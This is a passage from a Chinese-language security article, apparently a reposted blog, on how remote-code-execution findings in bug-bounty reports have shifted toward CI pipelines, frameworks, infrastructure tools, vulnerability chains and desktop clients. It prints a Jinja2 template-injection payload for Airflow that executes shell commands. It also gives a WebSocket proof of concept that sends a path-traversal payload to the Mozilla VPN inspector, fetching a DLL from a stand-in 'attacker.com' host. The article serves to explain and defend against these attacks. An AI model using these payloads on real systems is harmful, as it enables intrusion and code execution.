分支检出，随后在攻击者控制的代码上运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">npm ci</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">node index.js</span></code><span leaf="">，环境中提供了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PRIVACY_CONFIG_PAT</span></code><span leaf="">和其他令牌 (报告 3619288)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">任何 GitHub 用户都可创建 fork PR，并在 Actions runner 上获得任意代码执行。影响范围还包括 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PRIVACY_CONFIG_PAT</span></code><span leaf="">的外传，以及使用该令牌批准隐私配置中的恶意 PR；该配置控制每一款 DuckDuckGo 浏览器对跟踪器的拦截。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这并非孤例。2024 年，一名研究人员通过重新上传经修改的 NX Cloud 缓存工件，污染了 Mozilla 的 Firefox Accounts CI 构建缓存，并以外传环境变量作为概念验证 (报告 2255750，$8,000)。fxa 仓库是公开的，为攻击者提供了构造被污染缓存所需的源代码访问权限。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一模式出现得更早：Alex Birsan 的依赖混淆攻击 — 将带有内部名称的软件包上传至公共软件包注册表，并等待 CI 流水线拉取它们 — 使他从 PayPal 获得了 </span><semantics><mrow><mn><span leaf="">30</span></mn><mo separator="true"><span leaf="">,</span></mo><mn><span leaf="">000</span></mn><mtext><span leaf="">的赏金</span></mtext><mo stretchy="false"><span leaf="">(</span></mo><mo stretchy="false"><span leaf="">[</span></mo><mtext><span leaf="">报告</span></mtext><mn><span leaf="">925585</span></mn><mo stretchy="false"><span leaf="">]</span></mo><mo stretchy="false"><span leaf="">(</span></mo><mi><span leaf="">h</span></mi><mi><span leaf="">t</span></mi><mi><span leaf="">t</span></mi><mi><span leaf="">p</span></mi><mi><span leaf="">s</span></mi><mo><span leaf="">:</span></mo><mi mathvariant="normal"><span leaf="">/</span></mi><mi mathvariant="normal"><span leaf="">/</span></mi><mi><span leaf="">h</span></mi><mi><span leaf="">a</span></mi><mi><span leaf="">c</span></mi><mi><span leaf="">k</span></mi><mi><span leaf="">e</span></mi><mi><span leaf="">r</span></mi><mi><span leaf="">o</span></mi><mi><span leaf="">n</span></mi><mi><span leaf="">e</span></mi><mi mathvariant="normal"><span leaf="">.</span></mi><mi><span leaf="">c</span></mi><mi><span leaf="">o</span></mi><mi><span leaf="">m</span></mi><mi mathvariant="normal"><span leaf="">/</span></mi><mi><span leaf="">r</span></mi><mi><span leaf="">e</span></mi><mi><span leaf="">p</span></mi><mi><span leaf="">o</span></mi><mi><span leaf="">r</span></mi><mi><span leaf="">t</span></mi><mi><span leaf="">s</span></mi><mi mathvariant="normal"><span leaf="">/</span></mi><mn><span leaf="">925585</span></mn><mo stretchy="false"><span leaf="">)</span></mo><mo stretchy="false"><span leaf="">)</span></mo><mtext><span leaf="">。同一名研究人员还以同类攻击影响了</span></mtext><mi><span leaf="">U</span></mi><mi><span leaf="">b</span></mi><mi><span leaf="">e</span></mi><mi><span leaf="">r</span></mi><mo stretchy="false"><span leaf="">(</span></mo></mrow></semantics><span leaf="">9,000) 和 Yelp。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">这一转变：</span></strong><span leaf="">RCE 的注入目标从“我能向这个 HTTP 请求注入什么？”转变为“我能向这个构建过程注入什么？”</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2. 注入从应用程序迁移至框架</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2025 年 5 月，一名研究人员发现，Fastify 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">@fastify/view</span></code><span leaf="">插件在配合 EJS 模板引擎和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reply.view({ raw })</span></code><span leaf="">模式使用时，会将用户控制的字符串直接传递给 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ejs.compile()</span></code><span leaf="">，且未进行清理 (报告 3122019)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">将用户提供的内容作为原始 EJS 模板进行渲染的端点，可被利用实现 RCE：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="None" class="rich_pages wxw-img" data-ratio="0.42" data-type="png" data-w="700" style="max-width: 100%;" data-imgfileid="100013229" src="https://wechat2rss.xlab.app/img-proxy/?k=582798fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgtoQJHrAAmFlZr94iaN6SicUHwTRzVp13DhEYTrbbAmDYPXriayHXJPFwyaLnbceHsCMocVLZptLlpWUgwCzayicrzXTJOPMgYiay0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2025 年 6 月，一名研究人员发现，Amazon Managed Workflows for Apache Airflow (MWAA) 运行 Airflow 2.9.2，该版本受 CVE-2024-39877 影响 — 这是 DAG 文档字符串中的 SSTI 漏洞。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">doc_md</span></code><span leaf="">字段经由 Jinja2 渲染，Python 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__subclasses__()</span></code><span leaf="">链可到达 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">subprocess.Popen</span></code><span leaf="">执行命令 (报告 3217840)：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">doc_md=&#34;&#34;&#34;{{ &#39;&#39;.__class__.__mro__[1].__subclasses__()[309](&#39;id&#39;, shell=True, stdout=-1).communicate() }}&#34;&#34;&#34;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这类注入源于框架实现中的缺陷。漏洞代码位于框架本身，用于安全模板渲染的实现存在缺陷。应用程序将用户可控内容传入该功能时即可触发漏洞。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">这一转变：</span></strong><span leaf="">将注入点的搜索重点转向框架。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3. 攻击面扩展至基础设施工具</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">仅在 2025 年，curl 就通过 HackerOne 收到多份 RCE 报告。Cookie 解析中的栈缓冲区溢出：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">strlen()</span></code><span leaf="">读取越过一个 8 KB 栈缓冲区 (报告 3340109)。MQTT CONNACK 数据包类型绕过可通过恶意 broker 导致 RCE (报告 3712343)。通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--engine</span></code><span leaf="">选项实现任意库加载 (报告 3293801)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2025 年 3 月，CVE-2025-24813 被披露：Apache Tomcat 中，部分 PUT 与基于文件的会话持久化、反序列化相结合导致 RCE (报告 3031518，$4,323)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2024 年 1 月，GitHub Enterprise Server 至少披露了四条彼此独立的 RCE 路径：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ghe-update-check</span></code><span leaf="">中的路径 (CVE-2024-1359，报告 2325023)、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syslog-ng</span></code><span leaf="">中的路径 (2329466)、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">actions-console</span></code><span leaf="">中的路径 (2323292)，以及 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">collectd</span></code><span leaf="">中的路径 (2329547)。四条路径均可使具有 Management Console Editor 权限的攻击者将权限提升至 root，并获得 SSH 访问权限。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些均为基础设施工具，用于支撑其他工具和服务的运行。数百万个应用程序使用 curl。Tomcat 承载数千个 Java 服务。GitHub Enterprise Server 是用于构建和部署代码的基础设施。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">这一转变：</span></strong><span leaf="">攻击面涵盖基础设施本身及其上运行的应用程序。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">4. 最具影响力的 RCE 由漏洞链构成</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2025-24813 (Apache Tomcat) 是最清晰的例子。该 RCE 要求以下四项条件同时成立：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">默认 servlet 的写入功能已启用 (默认处于禁用状态)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">支持部分 PUT (默认启用)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">应用程序采用 Tomcat 基于文件的会话持久化，并使用默认存储位置</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">应用程序包含可用于反序列化攻击的库</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">四项条件同时成立，构成该漏洞的完整利用链。部分 PUT 将序列化会话文件写入会话持久化目录，应用程序加载该文件时对其进行反序列化，由此形成 RCE。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一模式也出现在其他地方。SQL 注入与不安全反序列化结合，导致 Krisp 上的 RCE (报告 1842674)。Rocket.Chat 桌面客户端中的 XSS 通过 Electron 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">shell.openExternal()</span></code><span leaf="">和 IPC 通道升级为 RCE (多份报告)。路径遍历与文件写入结合，导致 Mozilla VPN 上的 RCE。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">这一转变：</span></strong><span leaf="">最具影响力的 RCE 由漏洞链构成。链中的每一步属于不同的漏洞类别；发现整条漏洞链需要测试各步骤及其组合关系。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5. RCE 转向客户端侧</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2025 年 2 月，一名研究人员发现，Mozilla VPN 客户端的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">live_reload</span></code><span leaf="">检查器命令存在路径遍历漏洞 (报告 2995025，$6,000)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该命令下载远程文件，并按目录与用户提供的文件名拼接而成的路径保存该文件 — 未清理 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">..</span></code><span leaf="">序列：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">auto temp_path = QString(&#34;%1/%2&#34;).arg(m_qml_folder, path.fileName());auto temp_file = new QFile(temp_path);temp_file-&gt;open(QIODevice::WriteOnly);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 Windows 上，打开一个通过 WebSocket 向 VPN 客户端本地检查器发送有效载荷的恶意网页，即可覆盖文件系统中的任意文件，包括应用程序加载的 DLL：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">var ws = new WebSocket(&#39;ws://localhost:8765/&#39;);var attacker_server = &#34;<a href="http://attacker.com" target="_blank">http://attacker.com</a>&#34;payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`ws.onopen = function() { ws.send(payload); };</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此 RCE 属于客户端攻击 — 漏洞位于桌面应用中，并由 Web 攻击向量触发。RCE 通过覆盖应用在启动时加载的 DLL 实现。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">这一转变：</span></strong><span leaf="">RCE 攻击面涵盖 Web 服务器；桌面客户端和 VPN 客户端也构成攻击面。网站可以成为入口。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 